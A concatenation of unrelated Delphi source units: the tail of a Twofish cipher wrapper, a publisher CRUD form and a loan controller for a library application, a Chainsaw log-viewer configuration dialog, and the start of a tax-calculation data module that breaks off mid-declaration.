FKeySize := 192
else
FKeySize := 256;
CheckPreComp;
DCP_twofish_InitKey( FKeySeed[0], Min( L*8, 256), FSubKeys, FSBox)
end;
constructor TTwofishKey.LoadFromStream( Store: TStream);
begin
CheckPreComp;
GenerateFromSeed( Store)
end;
procedure TTwofishKey.SaveToStream( Stream: TStream);
begin
Stream.Write( FKeySeed[0], Length( FKeySeed))
end;
procedure TTwofishKey.Burn;
var
L: integer;
begin
L := Length( FKeySeed);
if L > 0 then
begin
FillChar( FKeySeed[0], L, 0);
SetLength( FKeySeed, 0)
end;
FKeySize := 0;
FillChar( FSubKeys, SizeOf( FSubKeys), 0);
FillChar( FSBox, SizeOf( FSBox), 0)
end;
{ TTwofishBlockCodec }
constructor TTwofishBlockCodec.Create( Owner1: TTwoFish; Key1: TTwofishKey);
begin
CheckPreComp;
FOwner := Owner1;
FKey := Key1
end;
procedure TTwofishBlockCodec.Encrypt_Block(
Plaintext, Ciphertext: TMemoryStream);
var
InData, OutData: T128;
begin
Move( Plaintext.Memory^, InData, SizeOf( T128));
DCP_twofish_EncryptECB( FKey.FSubKeys, FKey.FSBox, InData, OutData);
Move( OutData, Ciphertext.Memory^, SizeOf( T128))
end;
procedure TTwofishBlockCodec.Decrypt_Block(
Plaintext, Ciphertext: TMemoryStream);
var
InData, OutData: T128;
begin
Move( Ciphertext.Memory^, InData, SizeOf( T128));
DCP_twofish_DecryptECB( FKey.FSubKeys, FKey.FSBox, InData, OutData);
Move( OutData, Plaintext.Memory^, SizeOf( T128))
end;
procedure TTwofishBlockCodec.Reset;
begin
end;
procedure TTwofishBlockCodec.Burn;
begin
end;
initialization
InitUnit_TwoFish;
finalization
DoneUnit_TwoFish;
end.
|
unit uFrEditora;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, uFrPadrao, Data.DB, FireDAC.Stan.Intf,
FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS,
FireDAC.Phys.Intf, FireDAC.DApt.Intf, FireDAC.Stan.Async, FireDAC.DApt,
Vcl.ExtCtrls, FireDAC.Comp.DataSet, FireDAC.Comp.Client, Vcl.Buttons,
Vcl.Grids, Vcl.DBGrids, Vcl.StdCtrls, Vcl.ComCtrls, uEditoraController;
type
TfrEditora = class(TfrPadrao)
edtCodigo: TLabeledEdit;
edtNome: TLabeledEdit;
procedure btnGravarClick(Sender: TObject);
procedure btnIncluirClick(Sender: TObject);
procedure btnPesquisarClick(Sender: TObject);
procedure btnExcluirClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure dbgPadraoDblClick(Sender: TObject);
private
FEditoraController: TEditoraController;
procedure LimpaCampos();
procedure IncluirRegistro();
function GravarRegistro(): Boolean;
function ExcluirRegistro(): Boolean;
procedure PesquisarRegistros();
function ValidaCampos(): Boolean;
procedure EditarRegistro();
public
{ Public declarations }
end;
var
frEditora: TfrEditora;
implementation
uses uEditoraModel;
{$R *.dfm}
{ TfrEditora }
procedure TfrEditora.btnExcluirClick(Sender: TObject);
begin
inherited;
ExcluirRegistro();
PesquisarRegistros();
end;
procedure TfrEditora.btnGravarClick(Sender: TObject);
begin
inherited;
GravarRegistro();
end;
procedure TfrEditora.btnIncluirClick(Sender: TObject);
begin
inherited;
IncluirRegistro();
end;
procedure TfrEditora.btnPesquisarClick(Sender: TObject);
begin
inherited;
PesquisarRegistros();
end;
procedure TfrEditora.dbgPadraoDblClick(Sender: TObject);
begin
inherited;
EditarRegistro();
end;
procedure TfrEditora.EditarRegistro;
begin
if not (qryPadrao.FieldByName('codigo').AsInteger > 0) then
Exit;
edtCodigo.Text := qryPadrao.FieldByName('codigo').AsString;
edtNome.Text := qryPadrao.FieldByName('nome').AsString;
pgcPadrao.TabIndex := 1;
AjustaVisibilidadeBotoes();
end;
function TfrEditora.ExcluirRegistro: Boolean;
begin
FEditoraController.frMain := frMain;
FEditoraController.ExcluirRegistro(qryPadrao.FieldByName('CODIGO').AsInteger);
end;
procedure TfrEditora.FormCreate(Sender: TObject);
begin
inherited;
FEditoraController := TEditoraController.Create;
end;
procedure TfrEditora.FormDestroy(Sender: TObject);
begin
inherited;
FreeAndNil(FEditoraController);
end;
procedure TfrEditora.FormShow(Sender: TObject);
begin
inherited;
PesquisarRegistros();
end;
function TfrEditora.GravarRegistro: Boolean;
var LEditora: TEditoraModel;
begin
if not ValidaCampos() then
Exit;
LEditora := TEditoraModel.Create;
try
LEditora.Codigo := StrToIntDef(edtCodigo.Text,0);
LEditora.Nome := edtNome.Text;
FEditoraController.frMain := frMain;
if FEditoraController.GravarRegistro(LEditora) then
begin
LimpaCampos();
ShowMessage('Registro incluído com sucesso.');
end;
finally
FreeAndNil(LEditora);
end;
end;
procedure TfrEditora.IncluirRegistro;
begin
LimpaCampos();
end;
procedure TfrEditora.LimpaCampos;
begin
edtCodigo.Text := '';
edtNome.Text := '';
end;
procedure TfrEditora.PesquisarRegistros;
var LSQL: String;
LPesquisaComFiltro: Boolean;
begin
LSQL :=
'SELECT * FROM EDITORA ';
LPesquisaComFiltro := Trim(edtPesquisar.Text) <> '';
if LPesquisaComFiltro then
LSQL := LSQL + 'WHERE UPPER(NOME) LIKE UPPER(:nome)';
if qryPadrao.Active then
qryPadrao.Close;
qryPadrao.SQL.Text := LSQL;
if LPesquisaComFiltro then
qryPadrao.ParamByName('nome').AsString := '%' + edtPesquisar.Text + '%';
qryPadrao.Open;
end;
function TfrEditora.ValidaCampos: Boolean;
var LCamposPreechidos: Boolean;
begin
LCamposPreechidos := Trim(edtNome.Text) <> '';
if not LCamposPreechidos then
ShowMessage('Preencha o campo nome');
Result := LCamposPreechidos;
end;
end.
|
unit uEmprestimoController;
interface
uses SysUtils, StrUtils, Dialogs, Vcl.StdCtrls, Generics.Collections,
uEmprestimoModel, uPadraoController, uUsuarioModel, uLivroModel,
Variants, DB;
type
TEmprestimoController = class(TPadraoController)
private
FUsuarios: TDictionary<integer, TUsuarioModel>;
FLivros: TDictionary<integer, TLivroModel>;
procedure BuscaUsuarios();
procedure BuscaLivros();
public
function GravarRegistro(AEmprestimoModel: TEmprestimoModel): Boolean;
function ExcluirRegistro(ACodigo: Integer): Boolean;
procedure AlimentaComboUsuarios(cbxUsuario: TComboBox);
procedure AlimentaComboLivros(cbxLivro: TComboBox);
function RetornaObjetoUsuario(ACodigoUsuario: Integer): TUsuarioModel;
function RetornaObjetoLivro(ACodigoLivro: Integer): TLivroModel;
constructor Create;
destructor Destroy; override;
end;
implementation
{ TEmprestimoController }
procedure TEmprestimoController.AlimentaComboLivros(cbxLivro: TComboBox);
var LLivro: TPair<integer, TLivroModel>;
begin
BuscaLivros();
cbxLivro.Clear;
for LLivro in FLivros do
begin
cbxLivro.AddItem(LLivro.Value.Titulo, LLivro.Value);
end;
end;
procedure TEmprestimoController.AlimentaComboUsuarios(cbxUsuario: TComboBox);
var LUsuario: TPair<integer, TUsuarioModel>;
begin
BuscaUsuarios();
cbxUsuario.Clear;
for LUsuario in FUsuarios do
begin
cbxUsuario.AddItem(LUsuario.Value.Nome, LUsuario.Value);
end;
end;
procedure TEmprestimoController.BuscaLivros;
begin
if FQuery.Active then
FQuery.Close;
FQuery.SQL.Text := 'SELECT * FROM LIVRO ORDER BY TITULO';
FQuery.Open();
try
FLivros.Clear;
while not FQuery.Eof do
begin
FLivros.Add(FQuery.FieldByName('CODIGO').AsInteger,
TLivroModel.Create(FQuery.FieldByName('CODIGO').AsInteger,
FQuery.FieldByName('TITULO').AsString));
FQuery.Next;
end;
finally
FQuery.Close;
end;
end;
procedure TEmprestimoController.BuscaUsuarios;
begin
if FQuery.Active then
FQuery.Close;
FQuery.SQL.Text := 'SELECT * FROM USUARIO ORDER BY NOME';
FQuery.Open();
try
FUsuarios.Clear;
while not FQuery.Eof do
begin
FUsuarios.Add(FQuery.FieldByName('CODIGO').AsInteger,
TUsuarioModel.Create(FQuery.FieldByName('CODIGO').AsInteger,
FQuery.FieldByName('NOME').AsString));
FQuery.Next;
end;
finally
FQuery.Close;
end;
end;
constructor TEmprestimoController.Create;
begin
inherited;
FUsuarios := TDictionary<integer, TUsuarioModel>.Create;
FLivros := TDictionary<integer, TLivroModel>.Create;
end;
destructor TEmprestimoController.Destroy;
begin
FreeAndNil(FUsuarios);
FreeAndNil(FLivros);
inherited;
end;
function TEmprestimoController.ExcluirRegistro(ACodigo: Integer): Boolean;
begin
Result := True;
if FQuery.Active then
FQuery.Close;
FQuery.SQL.Text :=
'DELETE FROM EMPRESTIMO WHERE CODIGO = :codigo';
FQuery.ParamByName('codigo').AsInteger := ACodigo;
try
FQuery.ExecSQL();
frMain.FLogController.GravaLog('Excluiu Emprestimo '+ ACodigo.ToString);
except
on E: Exception do
begin
Result := False;
frMain.FLogController.GravaLog('Erro ao excluir Emprestimo '+ ACodigo.ToString);
ShowMessage('Ocorreu um erro ao excluir o registro');
end;
end;
end;
function TEmprestimoController.GravarRegistro(
AEmprestimoModel: TEmprestimoModel): Boolean;
var LSQL: String;
LCodigo: Integer;
LInsert: Boolean;
begin
Result := True;
LInsert := AEmprestimoModel.Codigo = 0;
if LInsert then
begin
LCodigo := RetornaPrimaryKey('CODIGO', 'EMPRESTIMO');
LSQL :=
'INSERT INTO EMPRESTIMO VALUES (:codigo, :livro_codigo, :usuario_codigo, '+
':dataretirada, :datavencimento, :datadevolucao)';
end
else
begin
LCodigo := AEmprestimoModel.Codigo;
LSQL :=
'UPDATE EMPRESTIMO SET LIVRO_CODIGO = :livro_codigo, ' +
'USUARIO_CODIGO = :usuario_codigo, '+
'DATARETIRADA = :dataretirada, ' +
'DATAVENCIMENTO = :datavencimento, '+
'DATADEVOLUCAO = :datadevolucao ' +
'WHERE CODIGO = :codigo';
end;
if FQuery.Active then
FQuery.Close;
FQuery.SQL.Text := LSQL;
FQuery.ParamByName('codigo').AsInteger := LCodigo;
FQuery.ParamByName('livro_codigo').AsInteger := AEmprestimoModel.Livro.Codigo;
FQuery.ParamByName('usuario_codigo').AsInteger := AEmprestimoModel.Usuario.Codigo;
FQuery.ParamByName('dataretirada').AsDateTime := AEmprestimoModel.DataRetirada;
FQuery.ParamByName('datavencimento').AsDateTime := AEmprestimoModel.DataVencimento;
if AEmprestimoModel.DataDevolucao = StrToDateTime('30/12/1899') then
begin
FQuery.ParamByName('datadevolucao').DataType := ftDate;
FQuery.ParamByName('datadevolucao').Value := null;
end
else
FQuery.ParamByName('datadevolucao').AsDateTime := AEmprestimoModel.DataDevolucao;
try
FQuery.ExecSQL();
frMain.FLogController.GravaLog(
IfThen(LInsert, 'Inseriu ', 'Editou ') +
'Emprestimo: codigo: ' + LCodigo.ToString +
' livro_codigo: ' + AEmprestimoModel.Livro.Codigo.ToString +
' usuario_codigo: ' + AEmprestimoModel.Usuario.Codigo.ToString +
' dataretirada: ' + FormatDateTime('dd/mm/yyyy',AEmprestimoModel.DataRetirada) +
' datavencimento: ' + FormatDateTime('dd/mm/yyyy',AEmprestimoModel.DataVencimento));
except
on E: Exception do
begin
Result := False;
frMain.FLogController.GravaLog(
'Erro ao ' +
IfThen(LInsert, 'Inserir ', 'Editar ') +
'Emprestimo: codigo: ' + LCodigo.ToString +
' livro_codigo: ' + AEmprestimoModel.Livro.Codigo.ToString +
' usuario_codigo: ' + AEmprestimoModel.Usuario.Codigo.ToString +
' dataretirada: ' + FormatDateTime('dd/mm/yyyy',AEmprestimoModel.DataRetirada) +
' datavencimento: ' + FormatDateTime('dd/mm/yyyy',AEmprestimoModel.DataVencimento));
ShowMessage('Ocorreu um erro na inclusão do emprestimo.');
end;
end;
end;
function TEmprestimoController.RetornaObjetoLivro(
ACodigoLivro: Integer): TLivroModel;
var LLivro: TLivroModel;
begin
if FLivros.TryGetValue(ACodigoLivro, LLivro) then
Result := LLivro
else
Result := nil;
end;
function TEmprestimoController.RetornaObjetoUsuario(
ACodigoUsuario: Integer): TUsuarioModel;
var LUsuario: TUsuarioModel;
begin
if FUsuarios.TryGetValue(ACodigoUsuario, LUsuario) then
Result := LUsuario
else
Result := nil;
end;
end.
|
unit ChainsawConfig;
{
Configuration for Chainsaw.
Written by Keith Wood (kbwood@iprimus.com.au)
Version 1.0 - 19 September 2003.
}
interface
uses
SysUtils, Variants, Classes, Windows, Messages, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, CheckLst, ColorGrd, ComCtrls, Spin,
IniFiles, TypInfo, StrUtils, Log4D;
const
{ Section and property names in the .ini file. }
Section = 'Chainsaw';
ColumnOnlyProp = 'Column Only';
ColumnsProp = 'Columns';
FontProp = 'Font ';
HeightProp = 'Height';
LeftProp = 'Left';
SocketEnabledProp = 'Socket Enabled';
SocketPortProp = 'Socket Port';
ThresholdProp = 'Threshold';
TopProp = 'Top';
WidthProp = 'Width';
{ The default port to listen on. }
DefaultPort = 9009;
type
{ Details about the formatting for a particular log level. }
TLogLevelFormat = class(TObject)
public
Name: string;
Level: Integer;
Font: TFont;
Background: TColor;
constructor Create(const Name: string; const Level: Integer);
destructor Destroy; override;
end;
{ The configuration dialog. }
TfrmConfig = class(TForm)
pgcConfig: TPageControl;
tabFormat: TTabSheet;
lbxLevels: TListBox;
grdColour: TColorGrid;
btnFont: TButton;
chkColumnOnly: TCheckBox;
tabColumns: TTabSheet;
chlColumns: TCheckListBox;
btnUp: TBitBtn;
btnDown: TBitBtn;
tabSocket: TTabSheet;
Label1: TLabel;
spnPort: TSpinEdit;
Label2: TLabel;
cmbThreshold: TComboBox;
btnOK: TButton;
btnCancel: TButton;
dlgFont: TFontDialog;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure btnDownClick(Sender: TObject);
procedure btnFontClick(Sender: TObject);
procedure btnOKClick(Sender: TObject);
procedure btnUpClick(Sender: TObject);
procedure chlColumnsClick(Sender: TObject);
procedure grdColourChange(Sender: TObject);
procedure lbxLevelsClick(Sender: TObject);
procedure lbxLevelsDrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
private
FCoords: array [0..3] of Integer;
FLevelFormats: array [0..5] of TLogLevelFormat;
FSettingColour: Boolean;
FSocketEnabled: Boolean;
function GetCoord(const Index: Integer): Integer;
function GetFieldIndex(const Name: string): Integer;
function GetFieldName(const Index: Integer): string;
function GetFieldVisible(const Name: string): Boolean;
function GetFormatBackground(const Level: Integer): TColor;
function GetFormatColumnOnly: Boolean;
function GetFormatFont(const Level: Integer): TFont;
function GetSocketPort: Integer;
function GetThreshold: TLogLevel;
procedure LoadSettings;
procedure SaveSettings;
procedure SetFieldIndex(const Name: string; const Index: Integer);
procedure SetFieldVisible(const Name: string; const Visible: Boolean);
procedure SetSocketEnabled(const Enabled: Boolean);
public
{ The column order for a field by name. }
property FieldIndex[const Name: string]: Integer read GetFieldIndex
write SetFieldIndex;
{ The name of the field at a given column position. }
property FieldName[const Index: Integer]: string read GetFieldName;
{ Whether a field (by name) is visible. }
property FieldVisible[const Name: string]: Boolean read GetFieldVisible
write SetFieldVisible;
{ The background colour for a given logging level
(any integer value - uses next lowest standard level). }
property FormatBackground[const Level: Integer]: TColor
read GetFormatBackground;
{ Whether only the level columns are formatted this way. }
property FormatColumnOnly: Boolean read GetFormatColumnOnly;
{ The font for a given logging level
(any integer value - uses next lowest standard level). }
property FormatFont[const Level: Integer]: TFont read GetFormatFont;
{ The height of the main form. }
property MainHeight: Integer index 2 read GetCoord;
{ The left position of the main form. }
property MainLeft: Integer index 1 read GetCoord;
{ The top position of the main form. }
property MainTop: Integer index 0 read GetCoord;
{ The width of the main form. }
property MainWidth: Integer index 3 read GetCoord;
{ Whether the socket should be activated. }
property SocketEnabled: Boolean read FSocketEnabled write SetSocketEnabled;
{ The socket number to listen on. }
property SocketPort: Integer read GetSocketPort;
{ The minimum logging level accepted over the socket. }
property Threshold: TLogLEvel read GetThreshold;
{ Update the position and size of the main form in one go. }
procedure SetCoords(const Top, Left, Height, Width: Integer);
{ Select which logging level is selected for formatting
(any integer value - uses next lowest standard level). }
procedure SetFormatLevel(const Level: Integer);
end;
var
frmConfig: TfrmConfig;
implementation
{$R *.dfm}
uses
ChainsawData;
{ TLogLevelFormat -------------------------------------------------------------}
{ Initialisation. }
constructor TLogLevelFormat.Create(const Name: string; const Level: Integer);
begin
inherited Create;
Self.Name := Name;
Self.Level := Level;
Font := TFont.Create;
Background := clWhite;
end;
{ Release resources. }
destructor TLogLevelFormat.Destroy;
begin
Font.Free;
inherited Destroy;
end;
{ TfrmConfig ------------------------------------------------------------------}
var
DefaultFont: TFont;
{ Initialisation - set formatting levels, column order, load saved settings. }
procedure TfrmConfig.FormCreate(Sender: TObject);
var
Index: Integer;
begin
FSettingColour := False;
// Create level formats
FLevelFormats[0] := TLogLevelFormat.Create(All.Name, All.Level);
FLevelFormats[1] := TLogLevelFormat.Create(Debug.Name, Debug.Level);
FLevelFormats[2] := TLogLevelFormat.Create(Info.Name, Info.Level);
FLevelFormats[3] := TLogLevelFormat.Create(Warn.Name, Warn.Level);
FLevelFormats[4] := TLogLevelFormat.Create(Error.Name, Error.Level);
FLevelFormats[5] := TLogLevelFormat.Create(Fatal.Name, Fatal.Level);
// Set formats into listbox
for Index := Low(FLevelFormats) to High(FLevelFormats) do
lbxLevels.AddItem(FLevelFormats[Index].Name, FLevelFormats[Index]);
lbxLevels.ItemIndex := 0;
lbxLevelsClick(lbxLevels);
// Set fields in check listbox
chlColumns.Items.Add('Thread id');
chlColumns.Items.Add('Timestamp');
chlColumns.Items.Add('Elapsed time');
chlColumns.Items.Add('Level name');
chlColumns.Items.Add('Level value');
chlColumns.Items.Add('Logger name');
chlColumns.Items.Add('Message');
chlColumns.Items.Add('NDC');
chlColumns.Items.Add('Error class');
chlColumns.Items.Add('Error message');
chlColumns.ItemIndex := 0;
// Set levels in threshold combobox
cmbThreshold.AddItem(All.Name, All);
cmbThreshold.AddItem(Debug.Name, Debug);
cmbThreshold.AddItem(Info.Name, Info);
cmbThreshold.AddItem(Warn.Name, Warn);
cmbThreshold.AddItem(Error.Name, Error);
cmbThreshold.AddItem(Fatal.Name, Fatal);
cmbThreshold.AddItem(Off.Name, Off);
cmbThreshold.ItemIndex := 0;
// Load saved settings
LoadSettings;
end;
{ Release resources. }
procedure TfrmConfig.FormDestroy(Sender: TObject);
var
Index: Integer;
begin
for Index := Low(FLevelFormats) to High(FLevelFormats) do
FLevelFormats[Index].Free;
end;
{ Reload the previous settings. }
procedure TfrmConfig.btnCancelClick(Sender: TObject);
begin
LoadSettings;
end;
{ Move a column down in the order. }
procedure TfrmConfig.btnDownClick(Sender: TObject);
begin
chlColumns.Items.Exchange(chlColumns.ItemIndex, chlColumns.ItemIndex + 1);
chlColumnsClick(chlColumns);
end;
{ Update the font for the current logging level. }
procedure TfrmConfig.btnFontClick(Sender: TObject);
begin
with dlgFont do
begin
Font.Assign(FLevelFormats[lbxLevels.ItemIndex].Font);
if Execute then
begin
FLevelFormats[lbxLevels.ItemIndex].Font.Assign(Font);
grdColour.ForegroundIndex := grdColour.ColorToIndex(Font.Color);
lbxLevels.Invalidate;
end;
end;
end;
{ Save the updated settings. }
procedure TfrmConfig.btnOKClick(Sender: TObject);
begin
SaveSettings;
end;
{ Move a column up in the order. }
procedure TfrmConfig.btnUpClick(Sender: TObject);
begin
chlColumns.Items.Exchange(chlColumns.ItemIndex, chlColumns.ItemIndex - 1);
chlColumnsClick(chlColumns);
end;
{ Enable/disable up/down buttons based on selected column. }
procedure TfrmConfig.chlColumnsClick(Sender: TObject);
begin
btnUp.Enabled := (chlColumns.ItemIndex > 0);
btnDown.Enabled := (chlColumns.ItemIndex < chlColumns.Items.Count - 1);
end;
{ Return the position or size of the main form. }
function TfrmConfig.GetCoord(const Index: Integer): Integer;
begin
Result := FCoords[Index];
end;
{ Return the column order for a field by name. }
function TfrmConfig.GetFieldIndex(const Name: string): Integer;
var
DisplayName: string;
begin
DisplayName := dtmLogging.FieldMapping.Values[Name];
Result := chlColumns.Items.IndexOf(DisplayName);
end;
{ Return the name of the field at a given column position. }
function TfrmConfig.GetFieldName(const Index: Integer): string;
begin
Result := dtmLogging.FieldMapping.Values[chlColumns.Items[Index]];
end;
{ Determine whether a field (by name) is visible. }
function TfrmConfig.GetFieldVisible(const Name: string): Boolean;
var
DisplayName: string;
begin
DisplayName := dtmLogging.FieldMapping.Values[Name];
Result := chlColumns.Checked[chlColumns.Items.IndexOf(DisplayName)];
end;
{ Return the background colour for a given logging level
(any integer value - uses next lowest standard level). }
function TfrmConfig.GetFormatBackground(const Level: Integer): TColor;
var
Index: Integer;
begin
for Index := Low(FLevelFormats) to High(FLevelFormats) do
if FLevelFormats[Index].Level >= Level then
begin
Result := FLevelFormats[Index].Background;
Exit;
end;
Result := clWhite;
end;
{ Determine whether only the level columns are formatted this way. }
function TfrmConfig.GetFormatColumnOnly: Boolean;
begin
Result := chkColumnOnly.Checked;
end;
{ Return the font for a given logging level
(any integer value - uses next lowest standard level). }
function TfrmConfig.GetFormatFont(const Level: Integer): TFont;
var
Index: Integer;
begin
for Index := Low(FLevelFormats) to High(FLevelFormats) do
if FLevelFormats[Index].Level >= Level then
begin
Result := FLevelFormats[Index].Font;
Exit;
end;
Result := DefaultFont;
end;
{ Return the socket number to listen on. }
function TfrmConfig.GetSocketPort: Integer;
begin
Result := spnPort.Value;
end;
{ Return the minimum logging level accepted over the socket. }
function TfrmConfig.GetThreshold: TLogLevel;
begin
Result := TLogLevel(cmbThreshold.Items.Objects[cmbThreshold.ItemIndex]);
end;
{ Update the foreground and background colours for the current logging level. }
procedure TfrmConfig.grdColourChange(Sender: TObject);
begin
if FSettingColour then
Exit;
FLevelFormats[lbxLevels.ItemIndex].Background := grdColour.BackgroundColor;
FLevelFormats[lbxLevels.ItemIndex].Font.Color := grdColour.ForegroundColor;
lbxLevels.Invalidate;
end;
{ Show the formatting settings for the selected logging level. }
procedure TfrmConfig.lbxLevelsClick(Sender: TObject);
begin
FSettingColour := True;
grdColour.BackgroundIndex :=
grdColour.ColorToIndex(FLevelFormats[lbxLevels.ItemIndex].Background);
grdColour.ForegroundIndex :=
grdColour.ColorToIndex(FLevelFormats[lbxLevels.ItemIndex].Font.Color);
FSettingColour := False;
end;
{ Display the logging level as formatted. }
procedure TfrmConfig.lbxLevelsDrawItem(Control: TWinControl;
Index: Integer; Rect: TRect; State: TOwnerDrawState);
begin
with lbxLevels.Canvas do
begin
Brush.Color := FLevelFormats[Index].Background;
Font.Assign(FLevelFormats[Index].Font);
FillRect(Rect);
TextOut(Rect.Left + 2, Rect.Top + 2, lbxLevels.Items[Index]);
end;
end;
{ Load settings from the .ini file. }
procedure TfrmConfig.LoadSettings;
var
Index, Index2: Integer;
FontStyles: TFontStyles;
Value, Style: string;
{ Extract the next token (delimited by '|') from the string. }
function NextToken(var Value: string): string;
var
Index: Integer;
begin
Index := Pos('|', Value);
Result := IfThen(Index = 0, Value, Copy(Value, 1, Index - 1));
Delete(Value, 1, Index);
end;
begin
with TIniFile.Create(ChangeFileExt(Application.ExeName, '.ini')) do
try
// Load settings for formatting logging levels
for Index := Low(FLevelFormats) to High(FLevelFormats) do
begin
Value := ReadString(Section, FontProp +
FLevelFormats[Index].Name, 'MS Sans Serif|8||clBlack|clWhite');
FLevelFormats[Index].Font.Name := NextToken(Value);
FLevelFormats[Index].Font.Size := StrToIntDef(NextToken(Value), 8);
Style := NextToken(Value);
FontStyles := [];
if Pos('B', Style) > 0 then
Include(FontStyles, fsBold);
if Pos('I', Style) > 0 then
Include(FontStyles, fsItalic);
if Pos('S', Style) > 0 then
Include(FontStyles, fsStrikeOut);
if Pos('U', Style) > 0 then
Include(FontStyles, fsUnderline);
FLevelFormats[Index].Font.Style := FontStyles;
FLevelFormats[Index].Font.Color := StringToColor(NextToken(Value));
FLevelFormats[Index].Background := StringToColor(NextToken(Value));
end;
// Load list of columns in order
for Index := 0 to dtmLogging.cdsLogging.FieldCount - 1 do
begin
Value := ReadString(Section, ColumnsProp + IntToStr(Index),
'Y' + chlColumns.Items[Index]);
Index2 := chlColumns.Items.IndexOf(Copy(Value, 2, Length(Value)));
chlColumns.Items.Move(Index2, Index);
chlColumns.Checked[Index] := (Value[1] = 'Y');
end;
// Load remaining fields
chkColumnOnly.Checked := ReadBool(Section, ColumnOnlyProp, False);
FSocketEnabled := ReadBool(Section, SocketEnabledProp, False);
spnPort.Value := ReadInteger(Section, SocketPortProp, DefaultPort);
cmbThreshold.ItemIndex := cmbThreshold.Items.IndexOfObject(
TLogLEvel.GetLevel(ReadInteger(Section, ThresholdProp, All.Level)));
FCoords[0] := ReadInteger(Section, TopProp, 130);
FCoords[1] := ReadInteger(Section, LeftProp, 130);
FCoords[2] := ReadInteger(Section, HeightProp, 620);
FCoords[3] := ReadInteger(Section, WidthProp, 630);
finally
Free;
end;
end;
{ Save user selections to the .ini file. }
procedure TfrmConfig.SaveSettings;
var
Index: Integer;
Value: string;
begin
with TIniFile.Create(ChangeFileExt(Application.ExeName, '.ini')) do
try
// Save settings for formatting logging levels
for Index := Low(FLevelFormats) to High(FLevelFormats) do
begin
Value := FLevelFormats[Index].Font.Name + '|' +
IntToStr(FLevelFormats[Index].Font.Size) + '|' +
IfThen(fsBold in FLevelFormats[Index].Font.Style, 'B', '') +
IfThen(fsItalic in FLevelFormats[Index].Font.Style, 'I', '') +
IfThen(fsStrikeOut in FLevelFormats[Index].Font.Style, 'S', '') +
IfThen(fsUnderline in FLevelFormats[Index].Font.Style, 'U', '') + '|' +
ColorToString(FLevelFormats[Index].Font.Color) + '|' +
ColorToString(FLevelFormats[Index].Background);
WriteString(Section, FontProp + FLevelFormats[Index].Name, Value);
end;
// Save list of columns in order
for Index := 0 to 9 do
WriteString(Section, ColumnsProp + IntToStr(Index),
IfThen(chlColumns.Checked[Index], 'Y', 'N') + chlColumns.Items[Index]);
// Save remaining fields
WriteBool(Section, ColumnOnlyProp, chkColumnOnly.Checked);
WriteBool(Section, SocketEnabledProp, FSocketEnabled);
WriteInteger(Section, SocketPortProp, spnPort.Value);
WriteInteger(Section, ThresholdProp, Threshold.Level);
WriteInteger(Section, TopProp, FCoords[0]);
WriteInteger(Section, LeftProp, FCoords[1]);
WriteInteger(Section, HeightProp, FCoords[2]);
WriteInteger(Section, WidthProp, FCoords[3]);
finally
Free;
end;
end;
{ Update the position and size of the main form in one go. }
procedure TfrmConfig.SetCoords(const Top, Left, Height, Width: Integer);
begin
FCoords[0] := Top;
FCoords[1] := Left;
FCoords[2] := Height;
FCoords[3] := Width;
SaveSettings;
end;
{ Update the column order for a field by name. }
procedure TfrmConfig.SetFieldIndex(const Name: string;
const Index: Integer);
var
DisplayName: string;
Index2: Integer;
begin
DisplayName := dtmLogging.FieldMapping.Values[Name];
Index2 := chlColumns.Items.IndexOf(DisplayName);
chlColumns.Items.Move(Index2, Index);
end;
{ Set whether a field (by name) is visible. }
procedure TfrmConfig.SetFieldVisible(const Name: string;
const Visible: Boolean);
var
DisplayName: string;
Index: Integer;
begin
DisplayName := dtmLogging.FieldMapping.Values[Name];
Index := chlColumns.Items.IndexOf(DisplayName);
chlColumns.Checked[Index] := Visible;
end;
{ Select which logging level is selected for formatting
(any integer value - uses next lowest standard level). }
procedure TfrmConfig.SetFormatLevel(const Level: Integer);
var
Index: Integer;
begin
pgcConfig.ActivePage := tabFormat;
ActiveControl := lbxLevels;
lbxLevels.ItemIndex := 0;
for Index := 0 to lbxLevels.Count - 1 do
if TLogLevelFormat(lbxLevels.Items.Objects[Index]).Level >= Level then
begin
lbxLevels.ItemIndex := Index;
Break;
end;
lbxLevelsClick(lbxLevels);
end;
{ Update whether the socket should be activated. }
procedure TfrmConfig.SetSocketEnabled(const Enabled: Boolean);
begin
if FSocketEnabled <> Enabled then
begin
FSocketEnabled := Enabled;
SaveSettings;
end;
end;
initialization
DefaultFont := TFont.Create;
finalization
DefaultFont.Free;
end.
|
unit uDMCalcTax;
interface
uses
SysUtils, Classes, Db, ADODB, CalcExpress;
type
TItemTax = class
public
IDPurchaseItemTax: Integer;
IDPurchaseItem: Integer;
IDTaxCategory: Integer;
TaxPercentage: Double;
TaxValue: Currency;
MVA: Currency;
Debit: Boolean;
Formula: String;
Cost: Currency;
Freight: Currency;
Other: Currency;
Discount: Currency;
Qty: Double;
end;
TDMCalcTax = class(TDataModule)
CalcTaxFormula: TCalcExpress;
quItemTax: TADOQuery;
quItemTaxIDPurchaseItemTax: TIntegerField;
quItemTaxTaxValue: TBCDField;
quItemTaxTaxPercentage: TBCDField;
quItemTaxTaxCategory: TStringField;
quItemTaxDebit: TBooleanField;
quItemTaxFormula: TStringField;
spPurchaseItemTax: TADOStoredProc;
quGetTaxValue: TADOQuery;
quGetTaxValueIDPurchaseItemTax: TIntegerField;
quGetTaxValueTaxValue: TBCDField;
quGetTaxValueRet: TADOQuery;
quGetTaxValueRetIDPurchaseItemTaxRet: TIntegerField;
quGetTaxValueRetTaxValue: TBCDField;
spPurchaseItemTaxRet: TADOStoredProc;
quItemTaxRet: TADOQuery;
quItemTaxRetIDPurchaseItemTaxRet: TIntegerField;
quItemTaxRetTaxValue: TBCDField;
quItemTaxRetTaxPercentage: TBCDField;
quItemTaxRetTaxCategory: TStringField;
quItemTaxRetDebit: TBooleanField;
quItemTaxRetFormula: TStringField;
private
fADODBConnect: TADOConnection;
procedure SetConection(ADOConnect: TADOConnection);
function ReturnTaxValue(IDPurchaseItem: Integer; fIDTax: String): String;
function ReturnTaxValueRet(IDPurchaseItem: Integer; fIDTax: String): String;
